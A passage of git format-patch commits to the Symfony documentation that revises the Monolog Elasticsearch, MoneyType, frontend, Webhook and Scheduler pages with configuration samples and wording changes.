+Then reference it in the Monolog configuration.
+
+In a development environment, it's fine to keep the default configuration: for
+each log, an HTTP request will be made to push the log to Elasticsearch:
 
 .. configuration-block::
 
@@ -134,4 +129,69 @@ Then reference it in the Monolog configuration:
             ;
         };
 
+In a production environment, it's highly recommended to wrap this handler in a
+handler with buffering capabilities (like the `FingersCrossedHandler`_ or
+`BufferHandler`_) in order to call Elasticsearch only once with a bulk push. For
+even better performance and fault tolerance, a proper `ELK stack`_ is recommended.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/prod/monolog.yaml
+        monolog:
+            handlers:
+                main:
+                    type: fingers_crossed
+                    handler: es
+
+                es:
+                    type: service
+                    id: Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler
+
+    .. code-block:: xml
+
+        <!-- config/packages/prod/monolog.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:monolog="http://symfony.com/schema/dic/monolog"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/monolog
+                https://symfony.com/schema/dic/monolog/monolog-1.0.xsd">
+
+            <monolog:config>
+                <monolog:handler
+                    name="main"
+                    type="fingers_crossed"
+                    handler="es"
+                />
+                <monolog:handler
+                    name="es"
+                    type="service"
+                    id="Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler"
+                />
+            </monolog:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/prod/monolog.php
+        use Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler;
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog): void {
+            $monolog->handler('main')
+                ->type('fingers_crossed')
+                ->handler('es')
+            ;
+            $monolog->handler('es')
+                ->type('service')
+                ->id(ElasticsearchLogstashHandler::class)
+            ;
+        };
+
+.. _`BufferHandler`: https://github.com/Seldaek/monolog/blob/main/src/Monolog/Handler/BufferHandler.php
 .. _`ELK stack`: https://www.elastic.co/what-is/elk-stack
+.. _`FingersCrossedHandler`: https://github.com/Seldaek/monolog/blob/main/src/Monolog/Handler/FingersCrossedHandler.php

From f3ca92f7a685928b9f1a5895a584f0dce0981ecc Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Mon, 15 Jan 2024 09:15:18 +0100
Subject: [PATCH 4295/5766] [Validator] Fix mb_detect_encoding link in Charset

Fix mb_detect_encoding link sending to 404 ( https://www.php.net/manual/en/function.mb-detect-encoding().php )
---
 reference/constraints/Charset.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Charset.rst b/reference/constraints/Charset.rst
index 278ea570831..4f1a260356f 100644
--- a/reference/constraints/Charset.rst
+++ b/reference/constraints/Charset.rst
@@ -89,7 +89,7 @@ Options
 An encoding or a set of encodings to check against. If you pass an array of
 encodings, the validator will check if the value is encoded in *any* of the
 encodings. This option accepts any value that can be passed to
-:phpfunction:`mb_detect_encoding()`.
+:phpfunction:`mb_detect_encoding`.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 

From 43862c49f30e0428d6c02fa5bd63cb2dea34fce1 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 30 Dec 2023 16:21:22 +0100
Subject: [PATCH 4296/5766] [Form] Add `model_type` option to `MoneyType`

---
 reference/forms/types/money.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 9f98b49158b..65f24ac93a3 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -76,6 +76,18 @@ If set to ``true``, the HTML input will be rendered as a native HTML5
 
     As HTML5 number format is normalized, it is incompatible with ``grouping`` option.
 
+model_type
+~~~~~~~~~~
+
+**type**: ``string`` **default**: ``float``
+
+If, for some reason, you need the value to be converted to an ``integer`` instead of a ``float``,
+you can set the option value to ``integer``.
+
+.. versionadded:: 7.1
+
+    The ``model_type`` option was introduced in Symfony 7.1.
+
 scale
 ~~~~~
 

From 6b55e576c16edbd75dd2477435b52636cf3567cd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Jan 2024 13:27:16 +0100
Subject: [PATCH 4297/5766] Minor reword

---
 reference/forms/types/money.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 65f24ac93a3..8e2130a5909 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -81,8 +81,9 @@ model_type
 
 **type**: ``string`` **default**: ``float``
 
-If, for some reason, you need the value to be converted to an ``integer`` instead of a ``float``,
-you can set the option value to ``integer``.
+By default, the money value is converted to a ``float`` PHP type. If you need the
+value to be converted into an integer (e.g. because some library needs money
+values stored in cents as integers) set this option to ``integer``.
 
 .. versionadded:: 7.1
 

From 12fa4a491a82f98133628ed0ccc8f2a7cae535a9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Jan 2024 13:47:46 +0100
Subject: [PATCH 4298/5766] Minor tweak

---
 controller/service.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/controller/service.rst b/controller/service.rst
index fff46377378..d7a263e7206 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -58,7 +58,6 @@ in method parameters:
             calls:
                 - [setContainer, ['@abstract_controller.locator']]
 
-
 If you prefer, you can use the ``#[AsController]`` PHP attribute to automatically
 apply the ``controller.service_arguments`` tag to your controller services::
 

From 3402d4fc4182b0a54325134d1ed59f8c844fba80 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 15 Jan 2024 14:51:57 +0100
Subject: [PATCH 4299/5766] Update frontend.rst: Minor

---
 frontend.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index e9591654212..6257f5a9f8b 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -5,7 +5,7 @@ Symfony gives you the flexibility to choose any front-end tools you want. There
 are generally two approaches:
 
 #. :ref:`building your HTML with PHP & Twig <frontend-twig-php>`;
-#. :ref:`building your frontend with a JavaScript framework <frontend-js>` like React.
+#. :ref:`building your frontend with a JavaScript framework <frontend-js>` like React, Vue, Svelte, etc.
 
 Both work great - and are discussed below.
 

From 4e80e0bb0ea2bb78434264b3a2a2095f8fc35556 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 15 Jan 2024 15:03:39 +0100
Subject: [PATCH 4300/5766] [Frontend] Removing praise

... especially for Webpack, since AssetMapper is the recommended way ;-)
---
 frontend.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index e9591654212..d76306076ab 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -15,7 +15,7 @@ Using PHP & Twig
 ----------------
 
 Symfony comes with two powerful options to help you build a modern,
-fast frontend, *and* enjoy the process:
+fast frontend:
 
 * :ref:`AssetMapper <frontend-asset-mapper>` (recommended for new projects) runs
   entirely in PHP, doesn't require any build step and leverages modern web standards.
@@ -51,7 +51,7 @@ AssetMapper (Recommended)
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 AssetMapper is the recommended system for handling your assets. It runs entirely
-in PHP with *no* complex build step or dependencies. It does this by leveraging
+in PHP with no complex build step or dependencies. It does this by leveraging
 the ``importmap`` feature of your browser, which is available in all browsers thanks
 to a polyfill.
 
@@ -66,21 +66,21 @@ Webpack Encore
 
     Do you prefer video tutorials? Check out the `Webpack Encore screencast series`_.
 
-`Webpack Encore`_ is a simpler way to integrate `Webpack`_ into your application.
-It *wraps* Webpack, giving you a clean & powerful API for bundling JavaScript modules,
-pre-processing CSS & JS and compiling and minifying assets. Encore gives you a professional
-asset system that's a *delight* to use.
+`Webpack Encore`_ is a simpler way to integrate `Webpack`_ (a professional
+asset system) into your application.
+It wraps Webpack, giving you a clean & powerful API for bundling JavaScript modules,
+pre-processing CSS & JS and compiling and minifying assets.
 
 :doc:`Read the Encore Documentation </frontend/encore/index>`
 
 Stimulus & Symfony UX Components
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Once you've installed AssetMapper or Encore, it's time to start building your
+Once you've installed AssetMapper or Webpack Encore, it's time to start building your
 front-end. You can write your JavaScript however you want, but we recommend
 using `Stimulus`_, `Turbo`_ and a set of tools called `Symfony UX`_.
 
-To learn about Stimulus & the UX Components, see:
+To learn about Stimulus & the UX Components, see
 the `StimulusBundle Documentation`_
 
 .. _frontend-js:

From 5a8ef9e257699919b569a84eb62607498c1e7657 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Jan 2024 16:50:52 +0100
Subject: [PATCH 4301/5766] Tweaks

---
 frontend.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index d76306076ab..09c086515e9 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -14,8 +14,7 @@ Both work great - and are discussed below.
 Using PHP & Twig
 ----------------
 
-Symfony comes with two powerful options to help you build a modern,
-fast frontend:
+Symfony comes with two powerful options to help you build a modern and fast frontend:
 
 * :ref:`AssetMapper <frontend-asset-mapper>` (recommended for new projects) runs
   entirely in PHP, doesn't require any build step and leverages modern web standards.
@@ -66,8 +65,7 @@ Webpack Encore
 
     Do you prefer video tutorials? Check out the `Webpack Encore screencast series`_.
 
-`Webpack Encore`_ is a simpler way to integrate `Webpack`_ (a professional
-asset system) into your application.
+`Webpack Encore`_ is a simpler way to integrate `Webpack`_ into your application.
 It wraps Webpack, giving you a clean & powerful API for bundling JavaScript modules,
 pre-processing CSS & JS and compiling and minifying assets.
 

From 534babdf8febf71c7044ccf62d07e62ce18cfa24 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 16 Jan 2024 08:32:47 +0100
Subject: [PATCH 4302/5766] Tweak docs for Webhooks

---
 webhook.rst | 71 ++++++++++++++++++++++++++++-------------------------
 1 file changed, 38 insertions(+), 33 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index ded720ff75b..0e68824c2dd 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -19,17 +19,26 @@ Installation
 Usage in Combination with the Mailer Component
 ----------------------------------------------
 
-When using a third-party mailer, you can use the Webhook component to receive
-webhook calls from the third-party mailer.
+When using a third-party mailer provider, you can use the Webhook component to
+receive webhook calls from this provider.
 
-In this example Mailgun is used with ``'mailer_mailgun'`` as the webhook type.
-Any type name can be used as long as it is unique. Make sure to use it in the
-routing configuration, the webhook URL and the RemoteEvent consumer.
+Currently, the following third-party mailer providers support webhooks:
 
-Install the third-party mailer as described in the documentation of the
-:ref:`Mailer component <mailer_3rd_party_transport>`.
+=============== ==========================================
+Mailer service  Parser service name
+=============== ==========================================
+Mailgun         ``mailer.webhook.request_parser.mailgun``
+Postmark        ``mailer.webhook.request_parser.postmark``
+=============== ==========================================
+
+.. note::
+
+    Install the third-party mailer provider you want to use as described in the
+    documentation of the :ref:`Mailer component <mailer_3rd_party_transport>`.
+    Mailgun is used as the provider in this document as an example.
 
-The Webhook component routing needs to be defined:
+To connect the provider to your application, you need to configure the Webhook
+component routing:
 
 .. configuration-block::
 
@@ -77,27 +86,27 @@ The Webhook component routing needs to be defined:
             ;
         };
 
-Currently, the following third-party mailer services support webhooks:
+In this example, we are using ``mailer_mailgun`` as the webhook routing name.
+The routing name must be unique as this is what connects the provider with your
+webhook consumer code.
 
-=============== ==========================================
-Mailer service  Parser service name
-=============== ==========================================
-Mailgun         ``mailer.webhook.request_parser.mailgun``
-Postmark        ``mailer.webhook.request_parser.postmark``
-=============== ==========================================
-
-Set up the webhook in the third-party mailer. For Mailgun, you can do this
-in the control panel. As URL, make sure to use the ``/webhook/mailer_mailgun``
-path behind the domain you're using.
+The webhook routing name is part of the URL you need to configure at the
+third-party mailer provider. The URL is the concatenation of your domain name
+and the routing name you chose in the configuration (like
+``https://example.com/webhook/mailer_mailgun``.
 
-Mailgun will provide a secret for the webhook. Add this secret to your ``.env``
-file:
+For Mailgun, you will get a secret for the webhook. Store this secret as
+MAILER_MAILGUN_SECRET (in the :doc:`secrets management system
+</configuration/secrets>` or in a ``.env`` file).
 
-.. code-block:: env
+When done, add a :class:`Symfony\\Component\\RemoteEvent\\RemoteEvent` consumer
+to react to incoming webhooks (the webhook routing name is what connects your
+class to the provider).
 
-    MAILER_MAILGUN_SECRET=your_secret
-
-With this done, you can now add a RemoteEvent consumer to react to the webhooks::
+For mailer webhooks, react to the
+:class:`Symfony\\Component\\RemoteEvent\\Event\\Mailer\\MailerDeliveryEvent` or
+:class:`Symfony\\Component\\RemoteEvent\\Event\\Mailer\\MailerEngagementEvent`
+events::
 
     use Symfony\Component\RemoteEvent\Attribute\AsRemoteEventConsumer;
     use Symfony\Component\RemoteEvent\Consumer\ConsumerInterface;
@@ -145,12 +154,8 @@ SMS service  Parser service name
 Twilio       ``notifier.webhook.request_parser.twilio``
 ============ ==========================================
 
-.. versionadded:: 6.3
-
-    The support for Twilio was introduced in Symfony 6.3.
-
-For SMS transports, an additional ``SmsEvent`` is available in the RemoteEvent
-consumer::
+For SMS webhooks, react to the
+:class:`Symfony\\Component\\RemoteEvent\\Event\\Sms\\SmsEvent` event::
 
     use Symfony\Component\RemoteEvent\Attribute\AsRemoteEventConsumer;
     use Symfony\Component\RemoteEvent\Consumer\ConsumerInterface;
@@ -165,13 +170,13 @@ consumer::
             if ($event instanceof SmsEvent) {
                 $this->handleSmsEvent($event);
             } else {
-                // This is not an sms event
+                // This is not an SMS event
                 return;
             }
         }
 
         private function handleSmsEvent(SmsEvent $event): void
         {
-            // Handle the sms event
+            // Handle the SMS event
         }
     }

From 416201ceb70e0ffa77c282425193258e162255c1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 11:47:27 +0100
Subject: [PATCH 4303/5766] Tweaks and rewords of the new Scheduler docs

---
 scheduler.rst | 269 +++++++++++++++++++++++++-------------------------
 1 file changed, 135 insertions(+), 134 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index cebf6b0810f..16728b9e636 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -5,11 +5,16 @@ Scheduler
 
     The Scheduler component was introduced in Symfony 6.3
 
-Scheduler is a component designed to manage task scheduling within your PHP application - like running a task each night at 3 am, every 2 weeks except for holidays or any schedule you can imagine.
+The scheduler component manages task scheduling within your PHP application, like
+running a task each night at 3 AM, every two weeks except for holidays or any
+other custom schedule you might need.
 
-This component proves highly beneficial for tasks such as database cleanup, automated maintenance (e.g., cache clearing), background processing (queue handling, data synchronization), periodic data updates, or even scheduled notifications (emails, alerts), and more.
+This component is useful to schedule tasks like maintenance (database cleanup,
+cache clearing, etc.), background processing (queue handling, data synchronization,
+etc.), periodic data updates, scheduled notifications (emails, alerts), and more.
 
-This document focuses on using the Scheduler component in the context of a full stack Symfony application.
+This document focuses on using the Scheduler component in the context of a full
+stack Symfony application.
 
 Installation
 ------------
@@ -21,44 +26,22 @@ install the scheduler component:
 
     $ composer require symfony/scheduler
 
-
-Introduction to the case
-------------------------
-
-Embarking on a task is one thing, but often, the need to repeat that task looms large.
-While one could resort to issuing commands and scheduling them with cron jobs, this approach involves external tools and additional configuration.
-
-The Scheduler component emerges as a solution, allowing you to retain control, configuration, and maintenance of task scheduling within our PHP application.
-
-At its core, scheduler allows you to create a task (called a message) that is executed by a service and repeated on some schedule.
-Does this sound familiar? Think :doc:`Symfony Messenger docs </components/messenger>`.
-
-But while the system of Messenger proves very useful in various scenarios, there are instances where its capabilities
-fall short, particularly when dealing with repetitive tasks at regular intervals.
-
-Let's dive into a practical example within the context of a sales company.
-
-Imagine the company's goal is to send diverse sales reports to customers based on the specific reports each customer chooses to receive.
-In constructing the schedule for this scenario, the following steps are taken:
-
-#. Iterate over reports stored in the database and create a recurring task for each report, considering its unique properties. This task, however, should not be generated during holiday periods.
-
-#. Furthermore, you encounter another critical task that needs scheduling: the periodic cleanup of outdated files that are no longer relevant.
-
-On the basis of a case study in the context of a full stack Symfony application, let's dive in and explore how you can set up your system.
-
-Symfony Scheduler basics
+Symfony Scheduler Basics
 ------------------------
 
-Differences and parallels between Messenger and Scheduler
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+The main benefit of using this component is that automation is managed by your
+application, which gives you a lot of flexibility that is not possible with cron
+jobs (e.g. dynamic schedules based on certain conditions).
 
-The primary goal is to generate and process reports generation while also handling the removal of outdated reports at specified intervals.
+At its core, the Scheduler component allows you to create a task (called a message)
+that is executed by a service and repeated on some schedule. It has some similarities
+with the :doc:`Symfony Messenger </components/messenger>` component (such as message,
+handler, bus, transport, etc.), but the main difference is that Messenger can't
+deal with repetitive tasks at regular intervals.
 
-As mentioned, this component, even if it's an independent component, it draws its foundation and inspiration from the Messenger component.
-
-On one hand, it adopts well-established concepts from Messenger (such as message, handler, bus, transport, etc.).
-For example, the task of creating a report is considered as a message by the Scheduler, that will be directed, and processed by the corresponding handler.::
+Consider the following example of an application that sends some reports to
+customers on a scheduled basis. First, create a Scheduler message that represents
+the task of creating a report::
 
     // src/Scheduler/Message/SendDailySalesReports.php
     namespace App\Scheduler\Message;
@@ -73,6 +56,8 @@ For example, the task of creating a report is considered as a message by the Sch
         }
     }
 
+Next, create the handler that processes that kind of message::
+
     // src/Scheduler/Handler/SendDailySalesReportsHandler.php
     namespace App\Scheduler\Handler;
 
@@ -81,37 +66,44 @@ For example, the task of creating a report is considered as a message by the Sch
     {
         public function __invoke(SendDailySalesReports $message)
         {
-            // ... do some work - Send the report to the relevant individuals. !
+            // ... do some work to send the report to the customers
         }
     }
 
-However, unlike Messenger, the messages will not be dispatched in the first instance. Instead, the aim is to create them based on a predefined frequency.
+Instead of sending these messages immediately (as in the Messenger component),
+the goal is to create them based on a predefined frequency. This is possible
+thanks to :class:`Symfony\\Component\\Scheduler\\Messenger\\SchedulerTransport`,
+a special transport for Scheduler messages.
 
-This is where the specific transport in Scheduler, known as the :class:`Symfony\\Component\\Scheduler\\Messenger\\SchedulerTransport`, plays a crucial role.
-The transport autonomously generates directly various messages according to the assigned frequencies.
+The transport generates, autonomously, various messages according to the assigned
+frequencies. The following images illustrate the differences between the
+processing of messages in Messenger and Scheduler components:
 
-From (Messenger cycle):
+In Messenger:
 
 .. image:: /_images/components/messenger/basic_cycle.png
     :alt: Symfony Messenger basic cycle
 
-To (Scheduler cycle):
+In Scheduler:
 
 .. image:: /_images/components/scheduler/scheduler_cycle.png
     :alt: Symfony Scheduler basic cycle
 
-In Scheduler, the concept of a message takes on a very particular characteristic;
-it should be recurrent: It's a :class:`Symfony\\Component\\Scheduler\\RecurringMessage`.
+Another important difference is that messages in the Scheduler component are
+recurring. They are represented via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
+class.
 
-Attach Recurring Messages to a Schedule
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Attaching Recurring Messages to a Schedule
+------------------------------------------
 
-In order to generate various messages based on their defined frequencies, configuration is necessary.
-The heart of the scheduling process and its configuration resides in a class that must extend the :class:`Symfony\\Component\\Scheduler\\ScheduleProviderInterface`.
+The configuration of the message frequency is stored in a class that implements
+:class:`Symfony\\Component\\Scheduler\\ScheduleProviderInterface`. This provider
+uses the method :method:`Symfony\\Component\\Scheduler\\ScheduleProviderInterface::getSchedule`
+to return a schedule containing the different recurring messages.
 
-The purpose of this provider is to return a schedule through the method :method:`Symfony\\Component\\Scheduler\\ScheduleProviderInterface::getSchedule` containing your different recurringMessages.
-
-The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsSchedule` attribute, which by default references the ``default`` named schedule, allows you to register on a particular schedule::
+The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsSchedule` attribute,
+which by default references the schedule named ``default``, allows you to register
+on a particular schedule::
 
     // src/Scheduler/MyScheduleProvider.php
     namespace App\Scheduler;
@@ -127,57 +119,64 @@ The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsSchedule` attribute, whi
 
 .. tip::
 
-    By default, if not specified, the schedule name will be ``default``.
-    In Scheduler, the name of the transport is formed as follows: ``scheduler_nameofyourschedule``.
+    By default, the schedule name is ``default`` and the transport name follows
+    the syntax: ``scheduler_nameofyourschedule`` (e.g. ``scheduler_default``).
 
 .. tip::
 
-    It is a good practice to memoize your schedule to prevent unnecessary reconstruction if the ``getSchedule`` method is checked by another service or internally within Symfony
-
+    `Memoizing`_ your schedule is a good practice to prevent unnecessary reconstruction
+    if the ``getSchedule()`` method is checked by another service.
 
 Scheduling Recurring Messages
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+-----------------------------
 
-First and foremost, a RecurringMessage is a message that will be associated with a trigger.
+A ``RecurringMessage`` is a message associated with a trigger, which configures
+the frequency of the message. Symfony provides different types of triggers:
 
-The trigger is what allows configuring the recurrence frequency of your message. Several options are available to us:
+Cron Expression Triggers
+~~~~~~~~~~~~~~~~~~~~~~~~
 
-#. It can be a cron expression trigger:
+It uses the same syntax as the `cron command-line utility`_::
 
-.. configuration-block::
+    RecurringMessage::cron('* * * * *', new Message());
 
-    .. code-block:: php
+Before using it, you must install the following dependency:
 
-        RecurringMessage::cron(‘* * * * *’, new Message());
+.. code-block:: terminal
 
-.. tip::
+    composer require dragonmantank/cron-expression
 
-    `dragonmantank/cron-expression`_ is required to use the cron expression trigger.
+.. tip::
 
-    Also, `crontab_helper`_ is a good tool if you need help to construct/understand cron expressions
+    Check out the `crontab.guru website`_ if you need help to construct/understand
+    cron expressions.
 
 .. versionadded:: 6.4
 
     Since version 6.4, it is now possible to add and define a timezone as a 3rd argument
 
-#. It can be a periodical trigger through various frequency formats (string / integer / DateInterval)
+Periodical Triggers
+~~~~~~~~~~~~~~~~~~~
 
-.. configuration-block::
+These triggers allows to configure the frequency using different data types
+(``string``, ``integer``, ``DateInterval``). They also support the `relative formats`_
+defined by PHP datetime functions::
 
-    .. code-block:: php
+    RecurringMessage::every('10 seconds', new Message());
+    RecurringMessage::every('3 weeks', new Message());
+    RecurringMessage::every('first Monday of next month', new Message());
 
-        RecurringMessage::every('10 seconds', new Message());
-        RecurringMessage::every('3 weeks', new Message());
-        RecurringMessage::every('first Monday of next month', new Message());
+    $from = new \DateTimeImmutable('13:47', new \DateTimeZone('Europe/Paris'));
+    $until = '2023-06-12';
+    RecurringMessage::every('first Monday of next month', new Message(), $from, $until);
 
-        $from = new \DateTimeImmutable('13:47', new \DateTimeZone('Europe/Paris'));
-        $until = '2023-06-12';
-        RecurringMessage::every('first Monday of next month', new Message(), $from, $until);
+Custom Triggers
+~~~~~~~~~~~~~~~
 
-#. It can be a custom trigger implementing :class:`Symfony\\Component\\Scheduler\\TriggerInterface`
+Custom triggers allow to configure any frequency dynamically. They are created
+as services that implement :class:`Symfony\\Component\\Scheduler\\TriggerInterface`.
 
-If you go back to your scenario regarding reports generation based on your customer preferences.
-If the basic frequency is set to a daily basis, you will need to implement a custom trigger due to the specific requirement of not generating reports during public holiday periods::
+For example, if you want to send customer reports daily except for holiday periods::
 
     // src/Scheduler/Trigger/NewUserWelcomeEmailHandler.php
     namespace App\Scheduler\Trigger;
@@ -199,7 +198,8 @@ If the basic frequency is set to a daily basis, you will need to implement a cus
                 return null;
             }
 
-            while (!$this->isHoliday($nextRun) { // loop until you get the next run date that is not a holiday
+            // loop until you get the next run date that is not a holiday
+            while (!$this->isHoliday($nextRun) {
                 $nextRun = $this->inner->getNextRunDate($nextRun);
             }
 
@@ -208,25 +208,21 @@ If the basic frequency is set to a daily basis, you will need to implement a cus
 
         private function isHoliday(\DateTimeImmutable $timestamp): bool
         {
-            // app specific logic to determine if $timestamp is on a holiday
-            // returns true if holiday, false otherwise
+            // add some logic to determine if the given $timestamp is a holiday
+            // return true if holiday, false otherwise
         }
     }
 
-Then, you would have to define your RecurringMessage
-
-.. configuration-block::
+Then, define your recurring message::
 
-    .. code-block:: php
+    RecurringMessage::trigger(
+        new ExcludeHolidaysTrigger(
+            CronExpressionTrigger::fromSpec('@daily'),
+        ),
+        new SendDailySalesReports('...'),
+    );
 
-        RecurringMessage::trigger(
-            new ExcludeHolidaysTrigger( // your custom trigger wrapper
-                CronExpressionTrigger::fromSpec('@daily'),
-            ),
-            new SendDailySalesReports(// ...),
-        );
-
-The RecurringMessages must be attached to a Schedule::
+Finally, the recurring messages must be attached to a schedule::
 
     // src/Scheduler/MyScheduleProvider.php
     namespace App\Scheduler;
@@ -239,49 +235,44 @@ The RecurringMessages must be attached to a Schedule::
             return $this->schedule ??= (new Schedule())
                 ->with(
                     RecurringMessage::trigger(
-                        new ExcludeHolidaysTrigger( // your custom trigger wrapper
+                        new ExcludeHolidaysTrigger(
                             CronExpressionTrigger::fromSpec('@daily'),
                         ),
-                    new SendDailySalesReports()),
-                    RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport())
-
+                        new SendDailySalesReports()
+                    ),
+                    RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport())
                 );
         }
     }
 
-So, this RecurringMessage will encompass both the trigger, defining the generation frequency of the message, and the message itself, the one to be processed by a specific handler.
-
 Consuming Messages (Running the Worker)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+---------------------------------------
 
-After defining and attaching your RecurringMessages to a schedule, you'll need a mechanism to generate and 'consume' the messages according to their defined frequencies.
-This can be achieved using the ``messenger:consume command`` since the Scheduler reuses the Messenger worker.
+After defining and attaching your recurring messages to a schedule, you'll need
+a mechanism to generate and consume the messages according to their defined frequencies.
+To do that, the Scheduler component uses the ``messenger:consume`` command from
+the Messenger component:
 
 .. code-block:: terminal
 
-    php bin/console messenger:consume scheduler_nameofyourschedule
+    $ php bin/console messenger:consume scheduler_nameofyourschedule
 
     # use -vv if you need details about what's happening
-    php bin/console messenger:consume scheduler_nameofyourschedule -vv
+    $ php bin/console messenger:consume scheduler_nameofyourschedule -vv
 
 .. image:: /_images/components/scheduler/generate_consume.png
     :alt: Symfony Scheduler - generate and consume
 
 .. versionadded:: 6.4
 
-    Since version 6.4, you can define your message(s) via a ``callback``. This is achieved by defining a :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
-
+    Since version 6.4, you can define your messages via a ``callback`` via the
+    :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
 
 Debugging the Schedule
-~~~~~~~~~~~~~~~~~~~~~~
+----------------------
 
-The ``debug:scheduler`` command provides a list of schedules along with their recurring messages.
-You can narrow down the list to a specific schedule.
-
-.. versionadded:: 6.4
-
-    Since version 6.4, you can even specify a date to determine the next run date using the ``--date`` option.
-    Additionally, you have the option to display terminated recurring messages using the ``--all`` option.
+The ``debug:scheduler`` command provides a list of schedules along with their
+recurring messages. You can narrow down the list to a specific schedule:
 
 .. code-block:: terminal
 
@@ -300,18 +291,22 @@ You can narrow down the list to a specific schedule.
         15 4 */3 * *        App\Messenger\Foo(0:17..)  Mon, 18 Dec 2023 ...
        -------------------- -------------------------- ---------------------
 
-Efficient management with Symfony Scheduler
--------------------------------------------
+.. versionadded:: 6.4
 
-However, if your worker becomes idle, since the messages from your schedule are generated on-the-fly by the schedulerTransport,
-they won't be generated during this idle period.
+    Since version 6.4, you can even specify a date to determine the next run date
+    using the ``--date`` option. Additionally, you have the option to display
+    terminated recurring messages using the ``--all`` option.
 
-While this might not pose a problem in certain situations, consider the impact for your sales company if a report is missed.
+Efficient management with Symfony Scheduler
+-------------------------------------------
 
-In this case, the scheduler has a feature that allows you to remember the last execution date of a message.
-So, when it wakes up again, it looks at all the dates and can catch up on what it missed.
+If a worker becomes idle, the recurring messages won't be generated (because they
+are created on-the-fly by the scheduler transport).
 
-This is where the ``stateful`` option comes into play. This option helps you remember where you left off, which is super handy for those moments when the worker is idle and you need to catch up (for more details, see :doc:`cache </components/cache>`)::
+That's why the scheduler allows to remember the last execution date of a message
+via the ``stateful`` option (and the :doc:`Cache component </components/cache>`).
+This way, when it wakes up again, it looks at all the dates and can catch up on
+what it missed::
 
     // src/Scheduler/MyScheduleProvider.php
     namespace App\Scheduler;
@@ -321,7 +316,7 @@ This is where the ``stateful`` option comes into play. This option helps you rem
     {
         public function getSchedule(): Schedule
         {
-            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
+            $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
                 ->with(
@@ -331,8 +326,9 @@ This is where the ``stateful`` option comes into play. This option helps you rem
         }
     }
 
-To scale your schedules more effectively, you can use multiple workers.
-In such cases, a good practice is to add a :doc:`lock </components/lock>`. for some job concurrency optimization. It helps preventing the processing of a task from being duplicated.::
+To scale your schedules more effectively, you can use multiple workers. In such
+cases, a good practice is to add a :doc:`lock </components/lock>` to prevent the
+same task more than once::
 
     // src/Scheduler/MyScheduleProvider.php
     namespace App\Scheduler;
@@ -342,23 +338,26 @@ In such cases, a good practice is to add a :doc:`lock </components/lock>`. for s
     {
         public function getSchedule(): Schedule
         {
-            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
